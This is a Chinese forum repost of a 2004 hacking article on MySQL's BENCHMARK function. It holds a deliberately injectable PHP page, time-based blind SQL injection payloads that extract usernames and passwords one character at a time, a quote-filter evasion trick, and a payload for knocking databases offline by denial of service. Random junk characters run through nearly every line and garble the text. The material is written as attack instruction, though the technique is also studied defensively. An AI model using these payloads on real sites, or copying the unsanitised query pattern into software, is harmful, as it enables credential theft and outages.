找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2407|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
# `5 K" d5 S" |1 H$ U* b6 K; k. ]7 I本文作者:SuperHei
- k4 M) e9 [1 [) t3 [* r文章性质:原创! B4 a" j; |( l6 x4 X' k  C) V
发布日期:2005-01-02( S+ n* ^+ |' i  }: c1 m: e
完成日期:2004-07-09 9 _/ Z. i+ z& r" U" U/ n
第一部
% i5 T( v( k/ V( c! k
$ M1 b4 M: m; v6 V利用时间推延进行注射---BENCHMARK函数在注射中的利用
* b. c5 s8 S! s* O3 p) u7 z# ]+ o9 ?' \; U4 c! g" d
一.前言/思路4 D/ J) X3 Q3 O* d5 U# r% g* ?7 A
" ]' L" j# h$ L$ M" j! d
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
, W0 Q6 k( _5 A' d: ?' v+ R/ U+ ]" K7 x0 ]: p4 f/ h7 G
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
# n- {& |# j/ q2 T( Y1 S; n* F8 \/ j- E$ n
二.关于BENCHMARK函数
. h, t$ S+ e" r2 ~3 U! V  z- `7 t/ t9 z" ]/ K+ k
  在MySQL参考手册里可以看到如下描叙:
: d- v$ L4 C+ U& j& y# {. j5 B
3 T- P4 y; U' f  G/ O) i0 B
5 I- E; O. _) ~7 s( t% N--------------------------------------------------------------------------------
/ F+ ?% v; @: K
& Q6 F( ~3 N5 X5 b$ XBENCHMARK(count,expr)
: Q3 h+ \' ~3 F9 I- q% n: O  u) b1 a( dBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
, w- [8 @6 t3 v& b9 Y$ imysql> select BENCHMARK(1000000,encode("hello","goodbye"));
* x4 g- _: j' `/ m$ [# a7 B+----------------------------------------------+
" Z" z/ v( f" c. c5 p| BENCHMARK(1000000,encode("hello","goodbye")) |
9 f0 F/ `$ C5 R0 B+ m+----------------------------------------------+
9 ?6 T- l3 E4 ^, Q, G| 0 | $ p) e' ]0 }  f  ]8 b
+----------------------------------------------+
: e  n* x5 z) G$ g1 row in set (4.74 sec) & D$ U3 B$ |& \  H' V9 b

, u* Q5 ^& ^* ?- J7 r. M/ o9 r  V报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。2 H, |/ W' S. F1 u

& R. l& q0 H2 g1 p* J" z3 A! j( P8 p) x
--------------------------------------------------------------------------------
: G& z' g, L# w& Q: J7 [5 k1 h! {! ]0 k+ f* S
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: + h/ C9 N. h2 P- b

& S' e9 ^( [( ]% imysql> select md5( 'test' ); 6 E$ p$ T; M+ x+ D3 a
+----------------------------------+ 0 K# m4 n; O2 p8 s& H
| md5( 'test' ) |
# l* `8 z# t1 v) Z+----------------------------------+ ' s. c# |8 \- X( p
| 098f6bcd4621d373cade4e832627b4f6 | " d( N& @  ]# i( Y
+----------------------------------+ 6 \1 ~5 I/ P' `
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
- u% e4 N# g+ d0 g6 I# P  r' C7 Y6 V: t
mysql> select benchmark( 500000, md5( 'test' ) ); 1 Z& x8 L4 e* Q- {
+------------------------------------+
' B4 t6 B; r& g0 y. u| benchmark( 500000, md5( 'test' ) ) | 3 n+ d$ A0 D5 b) t3 s% r
+------------------------------------+ ) n9 l$ v3 _3 f5 }3 x2 {) l
| 0 | * q# C" Y3 q4 J. |% m/ m
+------------------------------------+ / e9 Q% q- t+ l0 h7 `: Q
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
. l5 y. O$ a# ?   t: K6 f  I8 d; @; \8 L- W$ f2 @; N
& Y2 t" Y4 o6 {
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 7 L0 d6 A  n7 K7 ]
/ F9 b( j$ e( I7 h+ R, ~, u
三.具体例子& U  ^' H+ X- U3 M

/ `; x% E6 O# ?' A  首先我们看个简单的php代码:
  D7 S; M4 K. l+ N
& ?8 V  f, n! H% Y/ A) D< ?php
) j2 x, ]* y. q1 C) g9 Q$servername = "localhost";
, g5 q2 r' a" T. I* F$dbusername = "root";
$ f, {# E" a3 N" q( H; r: G$dbpassword = ""; : ?0 c6 X1 x* I
$dbname = "injection";
$ K4 T  W& W! C2 H$ ^0 {1 b% C! X' @  x* }4 s/ X5 z) T2 X
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
; @- X: e  w! X1 i# Q: h
0 c, H3 W( |, p  C( J$sql = "SELECT * FROM article WHERE articleid=$id";
% B' W* Z, M! r* w2 b0 a$result = mysql_db_query($dbname,$sql);
, }$ @8 Q/ z; Y) z  N* p1 ^$row = mysql_fetch_array($result); ! ~, V3 P" {) z
! Q. C3 M: [. C% `# g3 y; |# V& K
if (!$row)
% c) l8 V2 ?2 {- U% J{ 6 G# K: d% y3 r4 ~
exit;
, d$ v* r$ X+ q6 o/ S' y- g0 y2 ]2 `} 4 Y" I4 G! C7 L7 Z" g2 i
?>
3 J/ D- g( N& u8 P, V1 Y
- [$ F, t/ f, e# h. k$ U, o8 Y/ x1 E
  数据库injection结构和内容如下:5 N# G, ?. b. Y0 a$ }* K( ]

7 H2 j# J3 a4 H3 M$ j# 数据库 : `injection`
' D: q! l+ c. c, e5 F6 y+ P# A5 J) x#
- b( [6 `1 M, n- }9 A! [( Q) U" u! M6 H8 K
# -------------------------------------------------------- ' L' K8 M) C  l& z
8 ?4 o- ?5 J0 l5 ~
#
/ q7 [8 Z6 h8 C6 g# 表的结构 `article` 6 [6 B: \5 W0 Y' M
# 5 a& y" p3 j2 W- D% t

! Z  q, s' B3 `- v+ c  t9 FCREATE TABLE `article` ( ! k* ~5 P4 j- ]' m* l) p& r
`articleid` int(11) NOT NULL auto_increment, $ [0 Q" S$ r/ @! P0 N
`title` varchar(100) NOT NULL default '', * B/ `3 C3 V! ~, t6 |  m
`content` text NOT NULL,
: J( H+ F! N& K+ F$ @PRIMARY KEY (`articleid`)
! u6 M0 B3 n" M2 A% S5 \8 N) Z) TYPE=MyISAM AUTO_INCREMENT=3 ; # H3 _" V* B9 K9 `" E; W

% G9 M& [3 v+ Q) i, F# % p9 c6 g( |6 r) S: [9 p
# 导出表中的数据 `article` - E) y# P! Q% R5 T- S, Z3 ?
# 7 I9 `: c3 d: f
/ E" n0 a- g8 j6 ~+ C2 U
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 7 x, {) j+ `- F8 E
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 @. L( H8 Q. s6 U3 b, E
& V# n1 ]4 Z$ f' g+ e5 ~4 l# --------------------------------------------------------
+ \& [9 c0 m3 V0 _& |* Q& [0 ~
6 c+ l/ R3 p( y8 ^#
1 s$ U0 w( a1 O- ?" @" w/ i# 表的结构 `user` 7 A9 ?* [. m  q- k( p9 d* K
# ( n6 ]  c7 g% }4 A. Q. Q

( c- e; n! K0 u& d2 ^- e2 W0 GCREATE TABLE `user` ( * P& g) i1 w& l
`userid` int(11) NOT NULL auto_increment, 4 [/ I2 s  C0 L% B( X4 X
`username` varchar(20) NOT NULL default '', + L* U0 z$ G  W/ ?' y) Q; m5 U) v
`password` varchar(20) NOT NULL default '',
+ }! z( s5 A( l1 u; k1 B0 [PRIMARY KEY (`userid`) / _; t6 P) r3 _! Q
) TYPE=MyISAM AUTO_INCREMENT=3 ;
, R2 A( j! t# V& i* J2 a+ r. H) u$ a; u
#
; O4 y$ N$ q/ G$ I# 导出表中的数据 `user`
: `$ d3 f; X  l5 n+ a+ F#
* S" ~; H6 Q' q  l! B% Y" ^' Y- Y& c; ]+ H
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 6 J2 n; F- a5 Z  ?9 ?5 G( k
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');5 U5 M' I1 w" k. y2 s! A! x

7 ~) \4 H0 N1 k
5 Q' z6 ]" B* L# Z" y/ N  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:9 N5 `; T% k8 C' [7 f4 p
4 k9 x. K$ W$ y4 d- Z  T) i$ t
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*& I. l! N% C8 N5 A. Q$ |

4 Z4 k2 A$ C6 T' ~9 b1 N
$ j& [. C0 N1 S9 A; g5 Z  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:$ k" O2 |) L% X  k+ G# x/ y9 a& C% t

7 y% H( g) s1 w7 I; N% H  uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*% r2 H" H1 h0 t" c* r$ A
- e. Y4 W# Q% ?) a( b  K$ c8 J
7 v8 ?* C' m! ?. l2 q2 K+ B  z) x
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
' _. C( p9 Z) n' g. ?- ^
& n; d: z) X! F: I8 O6 H4 m; [  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ! @4 }9 m% l6 M' _
* w8 r' \7 {# ?' f* |: n" r
第二部5 G- |- q" O8 w* ]0 z) s

5 d5 O) p9 H3 u8 h: D! T2 L利用BENCHMARK函数进行ddos攻击 - o( |5 \6 `2 G
- @' d0 Y2 e8 t; N
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:) R. v: U& p5 D7 s( I

; `* `. `( \- q7 N. `$ ]7 ihttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
6 N5 n5 z% }/ I- r: M0 W # f* L% T. `6 W; F4 N* H+ [7 w
" x) H" k+ O2 `# Z- n$ |
小结
/ j& {+ P+ O4 P/ h) a6 [; ]- y2 O' T7 S" I  x( t" K4 A
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。! @9 x+ ]; `5 V

) p: {8 I9 s/ @8 e4 z% L2 y  : N' q- ~$ R* @& X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表